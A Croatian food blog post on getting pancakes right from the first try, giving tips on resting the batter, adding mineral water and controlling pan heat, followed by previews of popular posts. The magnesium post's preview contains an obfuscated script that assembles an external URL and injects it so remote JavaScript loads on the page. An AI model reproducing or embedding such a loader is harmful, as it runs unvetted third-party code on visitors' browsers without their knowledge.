ZAŠTO PRVA PALAČINKA GOTOVO UVIJEK NE ISPADNE DOBRO? 🥞





Zašto prva palačinka gotovo uvijek ne ispadne dobro?




Koliko god puta pekli palačinke, nekako se uvijek dogodi isto. Prva se zalijepi za tavu, druga pukne baš kad je pokušate okrenuti, a tek od treće sve napokon krene kako treba.
 Mnogi tada pomisle da je problem u receptu, dodaju još malo mlijeka, brašna ili jedno jaje više. No u većini slučajeva recept uopće nije kriv. Nekoliko sitnica tijekom pripreme odlučuje hoće li palačinke ispasti tanke, mekane i podatne ili će završiti u komadićima.
 Ako želite da vam uspiju iz prve, vrijedi obratiti pozornost na ova tri jednostavna trika. Dobra vijest je da razlog uglavnom nije recept, nego način pripreme.




Nemojte odmah peći smjesu
Jedna od najčešćih pogrešaka je pečenje odmah nakon miješanja. Brašno treba vrijeme da upije tekućinu, a gluten da se opusti. Ako smjesa odstoji 20 do 30 minuta na sobnoj temperaturi, postat će glađa i ujednačenija, a palačinke će biti mekše i lakše za okretanje.
 
Ako imate vremena, ovo je možda i najvažniji korak.



 
Dio mlijeka zamijenite mineralnom vodom
Mnogi se kunu upravo u ovaj trik.
 
Gazirana mineralna voda čini smjesu laganijom zahvaljujući sitnim mjehurićima zraka, pa palačinke ispadnu tanje i nježnije.
 
Dobar omjer je pola mlijeka i pola mineralne vode.
U smjesu dodajte i dvije žlice otopljenog maslaca ili ulja kako bi se palačinke lakše odvajale od tave.



 
 Nemojte pregrijati tavu
Ni hladna ni prevruća tava neće dati dobar rezultat.
 
Ako je tava hladna, tijesto će se zalijepiti. Ako se iz nje dimi, palačinka će prebrzo potamnjeti izvana, dok će iznutra ostati nedovoljno pečena.
 
Najbolje je zagrijati tavu na srednje jakoj vatri, dodati tek nekoliko kapi ulja i razmazati ih papirnatim ručnikom. Smjesa bi pri dodiru s tavom trebala lagano zacvrčati, ali ne i gorjeti.
 
Palačinku okrenite tek kada se na površini pojave sitni mjehurići, a rubovi se počnu sami odvajati.
 
Ne postoji čarobni sastojak koji će svaku palačinku učiniti savršenom. No, kada smjesi date malo vremena, koristite mineralnu vodu i pazite na temperaturu tave, razlika će biti vidljiva već nakon prve ture. Rezultat su tanke, mekane i podatne palačinke koje se lako okreću i još lakše nestaju s tanjura.





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više